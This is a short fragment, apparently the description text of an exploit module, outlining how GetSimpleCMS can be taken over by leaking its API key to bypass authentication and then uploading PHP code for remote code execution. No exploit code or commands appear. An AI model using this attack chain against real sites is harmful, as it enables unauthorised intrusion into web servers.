        This module exploits a vulnerability found in GetSimpleCMS,
        which allows unauthenticated attackers to perform Remote Code Execution.
        An arbitrary file upload (PHPcode for example) vulnerability can be triggered by an authenticated user,
        however authentication can be bypassed by leaking the cms API key to target the session manager.
